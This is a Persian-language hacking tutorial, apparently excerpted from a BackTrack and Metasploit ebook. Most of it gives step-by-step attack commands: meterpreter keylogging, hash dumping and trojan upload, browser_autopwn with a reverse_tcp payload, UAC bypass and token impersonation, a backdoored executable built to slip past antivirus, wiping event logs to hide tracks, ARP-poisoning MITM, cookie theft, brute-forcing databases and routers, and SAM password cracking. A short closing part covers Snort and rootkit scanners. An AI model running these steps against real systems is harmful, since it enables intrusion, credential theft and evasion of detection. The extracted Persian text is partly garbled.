:set / unsetدستورات.11
.شودها گفتم به چه صورت استفاده میPayloadقسمتدرچون،هستواضحردیگ

msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port

Unset:
msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
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THREADS => 50
msf > set

:نتیجه

Global
======
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50
msf > unset THREADS

:نتیجه

Unsetting THREADS...
msf > unset all

:نتیجه

Flushing datastore...
msf > set

:نتیجه

Global
======
No entries in data store.

:sessionsدستور.12
.جا به جا شویم...وshellsوVNCها وmeterpreterما لیست کنیم و همچنین ما بینددهاجازه می

sessionsییم و از دستورآمیبا موفقیت اجرا شد سپس وقتی اکپلویت ما  -iکنیماستفاده می.
:لامث

msf exploit(3proxy) > sessions -i 1
[*] Starting interaction with 1...

:searchدستور.13
:مثلچیزهمهبرايجستجو

msf > search ms09-001
[*] Searching loaded modules for pattern 'ms09-001'...
40
Auxiliary
=========
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Name Description
---- ---- ----
dos/windows/smb/ms09_001_write Microsoft SRV.SYS WriteAndX Invalid DataOffset

:showستورد.14
....ها وexploitوauxiliaryمثل. مانظرموردهايدستهکردنلیستودیدن

msf > show auxiliary
Auxiliary
=========
Name Description
---- ---- ----
admin/backupexec/dump Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry Veritas Backup Exec Server Registry Access
admin/cisco/ios_http_auth_bypass Cisco IOS HTTP Unauthorized Administrative
Access
...snip...

یا
msf > show exploits و show encoders

یا
msf > show payloads و show nops

یا
show options

یا
show advanced

یا
show targets

:psدستور.15
.دیدن پروسه هاي در حال اجرا بر روي تارگت

meterpreter > ps
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:migrateدستور.16
.کنیم) دزدیدن و دیدن(دهد را  لاگفشار میnotpadهایی را که قربانی در یم که کلید هخوامثلا می

.را پیدا کنیدnotpadاستفاده کنید تا  شما پروسه Psپس شما باید از دستور 
:مثلا

pid=1540
migrate to 1540

:lsتوردس.17
.دیدن لیست فایل هاي داخل یک فولدر

meterpreter > ls

:downloadردستو.18
:کنیمدانلود میروي تارگتزامد نظر داریم راوارد مسیر شده و چیزي که 

meterpreter > download c:\\boot.ini[*] downloading: c:\boot.ini -> c:\boot.ini[*] : c:\boot.ini ->
c:\boot.ini/boot.ini

:uploadدستور.19
.ریزیمرا در مسیر زیر میevil-trojanفایل

meterpreter > upload evil_trojan.exe c:\\windows\\system32

:ipconfigدستور.20
.یاتئدیدن لیست کارت شبکه تارگت به همراه جز

:executeدستور.21
.تارگتسیستمرويcommandکردناجرا

execute -f cmd.exe -i -H

:hashdumpدستور.22
.شودقربانی استفاده می)user account(براي پسوردهاي کاربري، هستمعروفردیگ

meterpreter > run post/windows/gather/hashdump[*]

Obtaining the user list and keys...[*]

Decrypting user keys...[*]

Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b :1891f4775f676d4d10c09c1
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225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbda e13ed5abd30ac94ddeb3c
f52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe 0d16ae931b73c59d7e0c
089c0:::

Metasploitable MySQL:
حمله کرد را به صورت MYSQLبه دیتابیس هاي metaتوان با که چگونه میmetasploitیک مثال کاربردي در 

.دهممی مختصر شرح 
: پیش نیاز هاي قبل کار

.اینترنت) الف
.metasploitاجراي ) ب
.دادن و چک کردن پسوردهاattackبراي word-list) پ
:دستور زیر)1

msfconsole

:سرچ ماژول زیر)2
search MySQL
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:sqlصفحه لاگین  brute-forceاستفاده از ماژول زیر براي)3
use auxiliary/scanner/mysql/mysql_login

:دستور زیر)4
show options

:تنظیم کردن آدرس تارگت)5
set RHOSTS 192.168.10.111

:براي کرك یوزرهاword-list-userاستفاده از)6
set user_file /root/Desktop/usernames.txt

:یوزرهاپسوردبراي کركword-list-passwordاستفاده از  )7
set pass_file /root/Desktop/passwords.txt
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:دستور زیر)8
exploit

مورد نظر passwordو userکنید، این بدین معناست که رنگ مشاهده میسبز + به شکل زیر دقت کنید، یک : نتیجه
.ما پیدا شده است

Metasploitable Postgresql:
.نویسمبراي شما دوستان میرا ، ت هایی که تغییر کرده مقس. می ماند) metasploit MySQL( عینا مثل  قسمت قبلی

:دستورات زیر
set RHOSTS 192.168.10.111

set user_file /opt/metasploit/msf3/data/wordlists/postgres_default_user.txt

set pass_file /opt/metasploit/msf3/data/wordlists/postgres_default_user.txt

exploit

HN
Text Box
www.SoftGozar.Com
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Implementing the browser_autopwn module:
یکی از قویترین روش هاي حمله در نوع خودش است ، چرا؟  چون که به صورت اتوماتیک بر روي سیستم قربانی اجرا می

کند و با دستور شما آنها را  تک تک بر یعنی اینکه اول اکسپلویت هایی را که متناسب با تارگت است را انتخاب می.شود
.  کندروي سیستم هدف اجرا می

:دستورات  زیر
msfconsole

search autopwn

use auxiliary/server/browser_autopwn

: باشدیکی از قویترین پیلودها در سري ویندوز می
set payload windows/meterpreter/reverse_tcp

show options
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LHOST =ip addressباشدنفوذگر می.
set LHOST 192.168.10.109

.قرار میگیردip addressنویسید بعد از می ا جه اینکیعنی چیزي . نوع پسوند فایلی را انتخاب کنید
set URIPATH "filetypes"

exploit

:وارد کردیدLHOSTهست که در ip addressدهد که شامل ک مینبه شما یک لی
Metasploit starts the exploit at the IP address http://[Provided IP Address]:8080.

،یعد از کلیک .ip addressماند،اما از نوع ی لینکی که شما به آن داده اید را که شبیه یک آدرس سایت مینوقتی قربا
.شودبرقرار میsessionشود و روي آن براي شما دسترسی فعال می

: سپس ادامه دستورات
.دستورات زیر در بالا توضیح داده شده اند: نکته

session -i 1

help

keyscan_start

keyscan_dump

....خواهید انجام  دهیدو دیگر کارهایی  را  که می
Metasploitable.  کت-تامبه دنبال این موضوع نیز باشید، در مورد حمله به سرورهاي: 1پیشنهاد  Tomcat

.نیز بیشتر مطالعه کنیدMetasploitable DPFو همچنین در مورد : 2پیشنهاد 
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Karmetasploit: علاقمند هستند این موضوع را هم پیگیري کنندWifi Hackingکسانی که در ضمینه : 3پیشنهاد
In Action

: سایت هاي کاربردي فصل 
http://www.offensive-security.com/me...loit_In_Action
http://www.backtrack-linux.org/forum...hp?t=21492#top

www.hackingdna.com
http://wirelessdefence.org/Contents/karmetasploit.htm

https://www.google.com/#q=tutorial+metasploit

http://www.offensive-security.com/metasploit-unleashed/Attack_Analysis

http://searchsecurity.techtarget.in/tip/BackTrack-5-tutorial-Part-I-Information-gathering-and-
VA-tools

http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands

http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics

http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient

http://sectools.org/tag/sploits/

Metasploitable Tomcat:
http://www.rapid7.com/db/modules/exp...cat_mgr_deploy

http://www.rapid7.com/db/modules/aux...mcat_mgr_login

http://www.securitygeeks.net/2013/05...he-tomcat.html

http://www.offensive-security.com/me...n_HTTP_Modules

www.youtube.com/watch?v=o8_qLxPW--s

www.youtube.com/watch?v=0-ue2_q_9oU

Metasploitable PDF:
http://www.offensive-security.com/me..._Side_Exploits

http://www.offensive-security.com/me...rting_Exploits

http://www.exploit-db.com/exploits/14681/

http://blog.g0tmi1k.com/2011/03/vide...dobe-pdfs.html

https://community.rapid7.com/thread/2742

http://www.rapid7.com/db/modules/exp...f_embedded_exe
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Karmetasploit In Action  :
http://www.offensive-security.com/me...loit_In_Action

http://www.backtrack-linux.org/forum...hp?t=21492#top

http://wirelessdefence.org/Contents/karmetasploit.htm

Web explotion tools:
http://www.blackhatlibrary.net/Category:Web_exploitation

http://www.dotslashbacktrack.com/web-exploitation-tools.html

http://www.aldeid.com/wiki/Websecurify

http://www.aldeid.com/wiki/W3AF

http://searchsecurity.techtarget.in/tip/A-Web-exploit-toolkit-reference-guide-for-BackTrack-
5

http://www.aldeid.com/wiki/Category:Backtrack/GUI/Exploitation-Tools/Web-Exploitation-
Tools
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ششمفصل

Privilege Escalation
شما بعد از اینکه به سیستم قربانی وصل شدید اولین کاري که باید انجام بدید بالا بردن میزان دسترسی شما به سیستم 

.له صحبت خواهیم کردئاین مسقربانی است که در این فصل در مورد 
Using impersonation tokens:

در این بخش ما با استفاده از جعل هویت بالاترین دسترسی سیستم هدف براي خودمان ، به بهترین دسترسی  دست 
.  خواهیم یافت

صحبت کردیم، شما براي این فصل حداقل باید دسترسی یا همان 5بعد از دسترسی گرفتن از قربانی که در فصل
session درmeterpreterرا داشته باشید.

:دستور زیر)1
sessions -i 1

:meterpreterدر )2
use incognito

:دیدن کمک در مورد این دستور)3
help
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:لاکین کرده انددیدن کاربرانی که به سیستم )4
list_tokens -u

:می خواهیم  کاربر زیر را جعل هویت و از قدرت آن استفاده کنیم)5
impersonate_token \\test-pc\willie

: نآدستور کلی 
impersonate_token [name of the account to impersonate]

Local privilege escalation attack:
: یک روش دیگر براي جعل هویت

:دستور زیر.1

:دستورات  زیر.2
getsystem -h

getsystem

: را اول غیر فعال کنید، با دستور زیرUAC(user access control)را دارید باید win7اگر شما قصد حمله به : نکته
run post/windows/escalate/bypassuac
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Mastering the Social-Engineer Toolkit (SET):
.شودکه شامل ابزارهاي بسیار متنوعی براي هک است استفاده میframeworkیک 

:setاجراي )1
cd /pentest/exploits/set

:یا مسیر زیر
Applications | BackTrack | Exploitation Tools | Social Engineering Tools | Social Engineering
Toolkit | set.

:دستور زیر)2
./set

.کنیدenterرا بنویسید وy:  بینیدرا اجرا کنید پیغام زیر را میآنر براي اولین بار گا)3

: شامل خصوصیات زیر استsetمنوي )4
Social-Engineering Attacks

.Fast-Track Penetration Testing

.Third Party Modules

.Update the Metasploit Framework



116

.Update the Social-Engineer Toolkit

.Update SET configuration

.Help, Credits, and About

.Exit the Social-Engineer Toolkit

: به یک مثال توجه کنید
.شود، انتخاب می1که با نوشتن عدد"social engineering attack"هنانتخاب گزی)1
:Create a Payload and Listenerانتخاب  )2

4عدد 
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): reverse connection(آدرس خودتان را وارد کنید براي گرفتن اتصال معکوسipسپس )3
192.168.10.109

: مورد نظرpayloadانتخاب )4
Windows Reverse_TCP Meterpreter: یعنی این مورد

2عدد 
bypassقوي استفاده کنید تا آنتی ویروس ها را بتوانید Encodingبه این قسمت دقت کنید که شما باید از یک )5

.کنید تا براي شما دردسر ساز نشوند
Backdoored Executable (BEST): انتخاب 

16عدد 
. انتخاب یک پورت براي به گوش بودن تا در صورت موفقیت ما از طریق این پورت به هدف دسترسی داشته باشیم)6

در متااسپلویت را دیگر توضیح ندادم، چون مشخص است و در فصل قبل مثالی handlerما در این مثال نوشتن یک )7
.باشیدexploit handlerبه دنبال ساخت یک googleدر صورت مشکل در. شبیه این حل کردیم

.شما به سیستم قربانی وصل شدید:  نتیجه
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Collecting victims' data:
:پس از گرفتن دسترسی. در این بخش ما قصد داریم  اطلاعات قربانی را  بدزدیم

:دستور زیر

: دستور
keyscan_start

:دستور
keyscan_dump

.: توانید ببینیدنچه که بر روي کیبورد تایپ کرده را میآهر: نتیجه
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Cleaning up the tracks:
.نیدکشما در ابن بخش می آموزید که به چه صورتی می توانید  تا حدي ردپاي خود را  از روي سیستم قربانی پاك  

:دستور زیر
sessions -i 1

:دستور
irib

: سپس دستورات زیر را براي از بین بردن درپا تک تک بنویسید
log = client.sys.eventlog.open('system')

log = client.sys.eventlog.open('security')

log = client.sys.eventlog.open('application')

log = client.sys.eventlog.open('directory service')

log = client.sys.eventlog.open('dns server')

log = client.sys.eventlog.open('file replication service')
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:دستور 
log.clear

Man-in-the-middle attack (MITM):
.   ن را احساس نکنید ولی روزانه در جهان در حال رخ دادن استآیکی از خطرناك ترین  حملاتی است که شما شاید 

:ور زیرتدس)1
ettercap –G
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:مسیرزیر)2
Sniff | Unified sniffing

:انتخاب اینترفیس)3

:گزینه)4

Hosts | Scan for hosts

:گزینه)5

Hosts| Hosts list
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.شوندي پی ها لیست میآ، سپس در کادر
اضافه کنیدadd to target 1که مد نظر دارید بهرابانی هاییرق

add target 1و سپس 192.168.10.112: لامث

:گزینه)6
Start | Start sniffing

:یا گزینهarpعمل مسموم سازي )٧

Mitm | Arp poisoning
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:گزینه)8
Sniff remote connections

:دیدن نتایج کار شما تا این مرحله از کار)9
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:گزینه )10
Start | Stop sniffing

.ندی کشنود از اطلاعات هدف مکه شروع به 

URL traffic manipulation:
است که در شبکه هاي محلی مورد arpspoofنیز است که آن استفاده از دستور arpروش دیگر براي مسموم سازي 

. گیرداستفاده قرار می
.  که جعلی خودمان ببراي اجازه دادن تا براي روت کردن شبکه به شip-tablesکانفیگ کردن 

: دستور زیر
sudo echo 1 >> /proc/sys/net/ipv4/ip_forward

cat > /proc/sys/net/ipv4/ip_forward

.  در حال کار است192.168.10.115ادرس ipبا win7کنیم قربانی از فرض می
: دقت کنید به

.براي مشخص کردن نوع اینترفیس استi-) الف
wlan=wireless  __ eth=Ethernet __   Lo=loopback

. شودبراي اضافه کردن تارگت براي مسموم سازي استفاده میt-) ب
sudo arpspoof –i wlan0 -t 192.168.10.115 192.168.10.1

: دستور کلی
arpspoof –i [interface] –t [target IP address] [destination IP address].

.192.168.10.110:  درس در بکتركآip.  درس سیستم بکترك ماآipشود  میgetawayدر ادامه 

sudo arpspoof –i wlan0 -t 192.168.10.1 192.168.10.110
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Port redirection:
که در حال رایتیعنی پور. خواهیم  عمل هدایت یک پورت به یک پورت دیگر را پیاده سازي کنیمدر این بخش ما می

. جابجا  کنیم8080به 80عبور دادن ترافیک است از پورت 
. شناسندنیز میport mappingوport forwardingبه عنوانport redirectionواژه 

: دستور زیر
Sudo echo 1 >> /proc/sys/net/ipv4/ip_forward

. رود مسموم کنیممی192.168.10.1ادرس ipبا )  (gateway_که به سمت دروازه ارخواهیم ترافیکیدر اینجا ما می
sudo arpspoof –i wlan0 192.168.10.1

: دستور کلی
arpspoof –i [interface] [destination IP address].

.  کنیمدر دستور قبل که دروازه پیشفرض معلوم شد، ما در اینجا  ترافیک را از پورتی به پورت دیگر روت می
ip192.168.10.110: درس ماآ

: دستور زیر
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

و کارهاي جالبی را با کمی خلاقیت ) sniff(شنودمی آیدکه از سمت تارگتراتوانیم  سپس ترافیکیبا اعمال بالا ما می
. انجام دهیم

Accessing an e-mail by stealing cookies:
ارساال میشود، بعضی از کاربران این ، توسط کامپیوتر در حال استفاده استکهکوکی دیتاي کوچکی است که به وبسایتی

توانیم این کوکی هایی را که ، ما با نرم افزارهاي زیادي می.ا ذخیره شود بر روي مرورگرشانتدهند اطلاعات را اجازه می
-Ettercap , SSLstrip , URLstrip , Easy: با نرم افزارهایی مثل. شده اند را نیز بگشاییم و ببینیمencryptحتی 

Creeds در اینجا در مورد . . . . . وeasy-creedsکنیمت میبصح .

: مسیر زیر)1
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: دستور زیر)2
./easy-creds.sh

. را بنویسید2سپس عدد 

:و اینتر کردن2نتیجه بعد از نوشتن عدد 
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. بینیدشکل بالا چند نوع مسموم سازي را میدر 
:Oneway ARP Poisoning،  یعنی 3انتخاب عدد )3

: نوع اینترفیس خود را بنویسید)4
wlan0: مثل

:خیره شدن نتایجذتعیین مسیر براي )5
pentest/sniffers/easy-creedsیا مسیرroot/Easy-Creds/:  اگر ننویسید به مسیر زیر میرود: نکته

nشماکه"Do you have a populated file of victims to use":  شود مثلپیغامی براي شما ظاهر می)6

:بنویسید

192.168.10.1: ی نویسیممرا gatewayدرس آipدر این مرحلھ)٧

n:  نویسیدپرسد، شما بمی"Would you like to include a sidejacking attack"سوالی در رابطه با  حمله )٨

:کنیددر نهایت شکلی تقریبا شبیه به این را مشاهده می)9
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-easeyیا اینکه از خود فایل خروجی . می توانید اطلاعات ربوده شده را ببینیدettercapشما در قسمت صفحه اول )10

creedsبه جسنجو بپردازید .
: سایت هاي کاربردي فصل

http://en.wikipedia.org/wiki/Man-in-...e_of_an_attack

http://openmaniak.com/ettercap_filter.php

cain & caabl:
http://www.irongeek.com/i.php?page=v...-arp-poisoning

cain & cabl:
http://www.hacking-tutorial.com/hack...middle-attack/

:عالی اندهااین
http://www.chmag.in/article/jun2012/mitm-ettercap

http://www.tech-juice.org/2011/06/20...with-ettercap/

http://www.offensive-security.com/metasploit-unleashed/Event_Log_Management
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https://pypi.python.org/pypi/sslstrip/0.9.2

http://www.backtrack-linux.org/forums/showthread.php?t=20272

http://seclist.us/2013/01/update-easy-creeds-v-3-7-3-linux-bash-script-for-mitm-attacks.html

: یوتیوب
www.youtube.com/watch?v=RfHfmeaYcy0

www.youtube.com/watch?v=rw_b__wiSWM

www.youtube.com/watch?v=EMTzBfbU808
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هفتمفصل

Password Cracking
دست آوردیم و در فصل هاي ه از دسترسی بخواهیم در مورد پسوردهاي یوزرهایی را که در مرحله بعد در این فصل می

. را کرك کنیم تا به پسورد اصلی که رمزنگاري شده بوده برسیمقبلی که در این مورد بحث کردیم

Online Password and HTTP Attacks:
,FTP , HTTP , HTTPSپروتکل هاي زیادي از قبیل Hydra. صحبت خواهیم کردTHC-Hydraجا در مورد ندر ای MS ,

MYsql , VNC , Cisco ,...کندرا پشتیبانی می.
:از مسیر زیر برویدhydraبراي اجراي )1

Applications | BackTrack | Privilege Escalation | Password Attacks | Online Attacks | hydra-gtk
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: یوزر داریملیستپسورد ولیست نیاز به یک )2
/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/names/nameslist.txt

/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/john.txt

. کنیدیا اینکه خودتان در صورت داشتن لیست یوزر و پسورد آن را وارد می: نکته

192.168.10.111:  آدرس مورد نظرipو وارد کردن tab (target(رفتن به برگه )3
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:ه هاي زیر را طبق عکس اعمال کنیدنگزی)4

. شودبه قسمت هاي مختلفی تقسیم میپروسه هاي شمارا در هر چه بیشتر کنیدnumber of taskولی قسمت : نکته

:کنیمکلیک میstartرفته و روي startسپس به برگه )5
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Gaining router access:
. شودبراي دسترسی به روتر  استفاده میbrute-forceن بخش نیز از روش یدر ا

: مسیر زیر.1
Applications | BackTrack | Privilege Escalation | Password Attacks | Online Attacks | medusa

: دستور زیر.2
medusa -M http -h 192.168.10.1 -u admin -P /pentest/passwords/wordlists/darkc0de.lst -e ns -n

80 -F

-M:کند، در اینجا ما  از نوع ماژول مورد استفاده ما را نعیین میhttpاستفاده کردیم.
-h:ipنویسیمدرس را میآ .
-u: تعیین کردن یوزر کاربري، در اینجاadmin.

-p:نوشتن مسیر پسورد لیست مورد نظر .
-e:عنوان پسوردبهدهد،  مثل پسوردهاي خالی، یوزرنیمیکسري قابلیت هاي اضافی را در اختیار ما قرار می .
-F:شودوقتی پسورد پبدا شد به صورت اتوماتیک متوقف می .
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-n:مشخص کردن پورت مورد نظر .
: کندپشتیباتی میMedusaماژول هایی  که 

AFP ,CVS ,FTP ,HTTP ,IMAP ,MS SQL ,MySQL ,NetWare ,NNTP ,POP3 ,Postgresql ,REXEC
,RLOGIN ,RSH ,SMBNT ,SMTP AUTH ,SMTP VRFY ,SNMP ,SSHv2 ,Subversion ,Telnet ,
VMware authentication ,VNC ,www

Password profiling:

توانیم تا حدي  از پسورد لیست کوچکتري در این بخش با توجه به اطلاعاتی که از سیستم قربانی به دست آوردیم می
. استفاده کنیم

:metaاجراي )1

msfconsole

: emailجستجو براي ماژول )2

search email collector

:استفاده از ماژول )3
use auxiliary/gather/search_email_collector

: دستور)4
show options
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:نوشتن دامین مورد نظر)5

.دقت کنید که درست وارد کنید: نکته

:مثل

set domain fromwilliesperspective.com

.  گیردچندین حمله مورد استفاده قرار میوبراي پیاده سازي همزمان . این مرحله اختیاري است)6

set outfile /root/Desktop/fromwillie.txt

: دستور)7

run

. ذخیره شده است ببینید،نتایج را که  در مسیرتعیین شده)8

Cracking a Windows password using John the Ripper:
فرض کنید . شوند را کرك کنیمنگهداري میSAMشده اند و در داخل hashتوانیم  پسوردهایی که ما میjohnتوسط 

بکترك را بالا می USBکه یا از طریق ). Physical access attack(خواهیم  حمله از نوع فیزیکی انجام دهیم یعنیمی
پیاده سازي میبراي به دست آوردن  پسوردراbrute-forceما عمل johnتوسط .  CD/DVD_ROMآوریم یا از طریق 

.  کنیم
: چک کردن هارد دیسک و آن قسمتی که مد نظر دارید این کار را انجام دهید)1

Fdisk -l
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: دستور زیر)2
mount /dev/sda1 /target/

: در آن قرار داردSAMرفتن به مسیري  که )3
cd /target/windows/system32/config

: لیست کردن محتواي فولدر)4
ls -al

: با دستور زیر هش مورد نظر را به مسیر زیر جابه جا می کنیم)5
samdump2 system SAM > /root/hashes/hash.txt

: john ripperرفتن به مسیر )6
cd /pentest/passwords/jtr

: دستور زیر)7
/.john /root/hashes/hash.txt

: از دستور زیر استفاده کنیدNTFSبراي اتک دادن به فایل سیستمی )8
./john /root/hashes/hash.txt-f:nt

Using dictionary attacks:
. کنیماستفاده می،از عنوان مشخص است، ما از لیستی که خودمان براي عمل کرك تهیه کرده ایم

: دستور)1
apt-get update

: دستور)2
apt-get install crunch

: مسیر برنامه)3
/pentest/passwords/crunch
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: توضیحات این ابزار)4
crunch [minimum length] [maximum length] [character set] [options]

options

-o:یک مسیر براي ذخیره پسوردهاي تولید شده.
-b :مشخص کردن حداکثر تعداد کلمه و با بر اساس سایز شما :GB , MB , KB

-l:مثل. اجازه براي تشخیص کلمات تحت الفظی :@ , % , ^

) : کارکتر و استفاده از حروف انگلیسی و اعداد10کارکتر و حداکثر طول 8تولید پسورد با حداقل ( نمونه دستور)5
/pentest/passwords/crunch/crunch 8 10 ABCDEFGabcdefg0123456789 -o
/root/Desktop/generatedCrunch.txt

: سپس با دستور زیر فایل ذخیره شده را باز کنید)6
nano /root/Desktop/generatedCrunch.txt

.ما یک پسورد لیست انحصاري با توجه به نیازي که داشتیم ساختیم:نتیجه

Physical access attacks:
ن را آدر صورت داشتن دسترسی فیزیکی به سیستم هدف عمل کرك پسورد براي توانیممیSUCrackبا استفاده از ابزار 

. انجام دهیم
: باشدهاي زیر میoptionشامل 

--help :دیدن کامل توضیحات .
-l :د استوشود و کاربري که در حال تلاش براي وربراي در زدن استفاده می .
-s : دهدثانیه به طور پیشفرض براي شما محاسبات را نمایش می3هر.
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-a : تعیین میکتیم که ایا از کدهايANSIفاده شود یا خیرتاس .
-w :،تواند از ویژگی مینچوتعیین کردن تعداد نخ هاي پردازشیmultithreadاستفاده و پشتیبانی کند .
. کنیمساخته شده را به برنامه وارد میcrunchابتدا  لیستی که توسط .1

sucrack /pentest/passwords/wordlists/rockyou.txt

. کنیماستفاده میکدهاANSIاز ه محاسبات را نشان دهد ونیثا6خواهیم که  هر سازیم و میخ میندو .2
sucrack -w 2 -s 6 -a /pentest/passwords/wordlists/rockyou.txt

: سایت هاي کاربردي فصل
http://www.remote-exploit.org/articles/misc_research__amp_code/index.html

http://www.securityfocus.com/tools/category/11

http://www.breaknenter.org/
http://www.breaknenter.org/projects/inception/
Using rainbow tables:
www.youtube.com/watch?v=yVlX8lh967M

www.youtube.com/watch?v=X1krdBR_RRo

http://null-byte.wonderhowto.com/how-to/rainbow-tables-create-use-them-crack-
passwords-0131470/
http://renderlab.net/projects/WPA-tables/
http://xiaopan.co/forums/threads/wpa-wpa2-psk-rainbow-tables-33gb.440/
Using ATI Stream:
www.youtube.com/watch?v=TeqN8BM9A30

http://www.backtrack-linux.org/forums/showthread.php?t=41531

http://www.offensive-security.com/backtrack/cuda-and-ati-stream-backtrack/
https://sites.google.com/site/nozyczek/home/wardriving/how-to-install-pyrit-with-ati-cal-
support-under-backtrack-5-r1-gnome-64bit

http://www.backtrack-linux.org/wiki/index.php/Install_OpenCL
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Using NVIDIA Compute Unified Device Architecture (CUDA):
www.offensive-security.com/documentation/backtrack-4-cuda-guide.pdf

www.backtrack-linux.org/documents/BACKTRACK_CUDA_v2.0.pdf

http://www.backtrack-linux.org/wiki/index.php/CUDA_On_BackTrack

https://www.google.com/#q=+NVIDIA+Compute+Unified+Device+Architecture+on+backtrack
+5

Password profiling:
http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_

http://www.pcmag.com/article2/0,2817,2389089,00.asp

https://bechtsoudis.com/hacking/password-profiling-mask-attacks/
http://my.safaribooksonline.com/book/-/9781849517386/9dot-password-
cracking/ch09s05_html
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هشتمفصل

BackTrack Forensics
):snort(مقدمه

intrusion( تشخیص نفوذ یک متد براي مانیتورینگ و نظارت بر فعالیت هاي مخرب است که به سیستم تشخیص نفوذ

detection system) (IDS(نرم افزارهاي زیادي در این راستا وجود دارد که در مورد بعضی آنها در این .  معروف است
. ن برخورد لازمه را انجام دهیمآت خواهیم کرد تا بتوانیم ترافیک شبکه را آنالیز کنیم و در صورت مشکل با بفصل صح

. استSnortن ابزارها آیکی از 
.یار کاربردي استاین فصل را  واقعا جدي بگیرید که بس

: snortهاي ابزار Ruleدانلود )1
http://snort.org/start/rules

https://www.snort.org/signup.

:شروع کار در مسیر زیر)2
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: هاي زیر استOptionداراي 
-q: اجرا شدنsnortدر حالت درون خطی .
-v: مشاهده هدرهايTCP/IP  که به"sniffer mode"معروف است .
-c:استفاده از فایل کانفیگ که در اینجا اکثرا قرار دارد  :/etc/snort/snort.conf

-i:استفاده از اینترفیس مورد نظر.
:اجراي دستور زیر)3

snort -q -v -i eth1 -c /etc/snort/snort.conf

.کیبوردctrl+xمتوقف کردن عملیات با زدن کلیدهاي )4
. باید یکسري پیکریندي لازم  و ضروري را انجام دهیمsnortقبل از شروع کار با : نکته

:براي اینکه بفهمیم فایل با چنین اسمی در کدام مسیرها قرار دارددستور زیر،.1
locate snort.conf

: محتویات فایل پیکربنديویرایش.2
nano /etc/snort/snort.conf
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."var HOME_NET any":  ابتدا به دنبال اسم زیر باشید. دقت کنید که در اینجا اشتباه نکنید.3
. ن استفاده کنیدآرا تغییر دهید و از ،ینگ استفاده کنیدرن براي مانیتوآسپس یاید اینترفیسی را که مد نظر دارید از 

: وجود داردIpسه روش براي انتخاب رنج 
var HOME_NET 192.168.10.10:   ادرسipمانیتور کردن یک ) الف

var HOME_NET 192.168.10.0/24:   ادرس ها ipمانیتور کردن یک رنج از ) ب

var HOME_NET 192.168.10.0/24,10.0.2.0/24:   ادرس ها ipمانیتور کردن چندید رنج از ) چ

: نویسیماین دستور را میما چون روي شبکه خودمان هستیم 
var HOME_NET 192.168.10.0/24

هدف ما دراینجا این است که شبکه هایی . سپس باید مشخص کنیم چه شبکه هاي خارجی در نظر گرفته شده است.4
. که در رنج شبکه ما نیست را به عنوان شبکه خارجی در نظر بگیریم

: قبل از نوشتن دستور
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#: کنید، با گذاشتنCommentدستورات بالا را باید : نکته

: باید دستور زیر را بنویسید

#var EXTERNAL_NET any

var External_NET !$HOME_NET

pdfزیر را حتما بخوانید :
www.snort.org/assets/166/snort_manual.pdf

Recursive directory encryption/decryption:
encryptionیک روش رمزنگاري است براي تبدیل داده ها به اطلاعاتی که به راحتی قابل خواندن نباشد .
decryptionیک روش دیگر براي برگرداندن اطلاعات به حالت قابل خواندنی است .
.را انجام دهیدencو decتوانید هم عمل شما میgpgdirبا استفاده از 

:زیردستورات)1
mkdir /sourcecode

cd /sourcecode

:دانلود ابزار)2
wget http://cipherdyne.org/gpgdir/download/gpgdir- 1.9.5.tar.bz2

: دانلود امضاي فایل مورد نظر ما)3
wget http://cipherdyne.org/gpgdir/download/gpgdir- 1.9.5.tar.bz2.asc

HN
Text Box
www.SoftGozar.Com
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: بررسی کردن پکیجی که نصب کردیم)4
gpg --import public_key

gpg --verify gpgdir-1.9.5.tar.bz2.asc

: دستورات زیر)5
tar xfj gpgdir-1.9.5.tar.bz2

cd gpgdir-1.9.5

./install.pl

: اجرا کردن برنامه)6
gpgdir

یا
./ gpgdir
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: باید یکسري خط و متن هاي اضافی را پاك کنیم)7
vi /root/.gpgdirrc

.را حذف کنیدdefault_keyکلمه :  نکته

. ه را براي پیکربندي انجام دادیمیتا اینجا مراحل اول
:در ادامه دستورات زیر

: دستور.1
mkdir /encrypted_directory

. شوند را به این فولدر انتقال دهیدencryptسپس فایل هایی را که میخواهید .2
: دستور.3

gpgdir -e /encrypted_directory

. سپس پسورد مناسبی براي این فولدر در نظر بگیرید.4
:دقت کنید.5
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: خارج کنید، دستور زیر را بنویسیدencryptبراي اینکه فولدر را از حالت : نکته
gpgdir -d /encrypted_directory

: نکات کلیدي و اضافی را در این سایت ببینید
http://cipherdyne.org/gpgdir/docs/.

Scanning for signs of rootkits:
روت کیت ها توسط وب سایت ها  . گذارندکیت ها برنامه هاي مخربی هستند که روي پروسس ها   اثرات مخرب می-روت

بدافزارها براي جلوگیري از این رخدادها  از قبیل تروجان،. دنکنکنید در سیستم شما نفوذ میو چیزهایی که دانلود می
.کنیماستفاده میcheckrootkitاز

: مسیر زیر
Applications | BackTrack | Forensics | Anti-Virus Forensics Tools | chkrootkit:

: یا مسیر زیر
cd /pentest/forensics/chkrootkit

./chkrootkit

. توانید خروجی هاي آن را ببینیدکند و در نهایت شما میسپس نرم افزار به صورت اتوماتیک شروع به اسکن کردن می
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.وجود دارد که در این ضمینه به شما کمک خواهد کردrootkitsrkhunterیک نرم افزار دیگر هم با نام  
:دستور زیر.1

rkhunter --check

: یکسري اطلاعات از محاسبات خواهید دید.2
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: chkrootkitدستورات پیشنهادي در 
-h:دیدن توضیحات.
-V:دیدن ورژن روت کیت در حال استفاده .
-l :بسیار عالی استدیدن تمامی لیست تست ها ،.

: rkhunterدستورات پیشنهادي در 
:به روز کردن دیتابیس نرم افزار)1

rkhunter --update

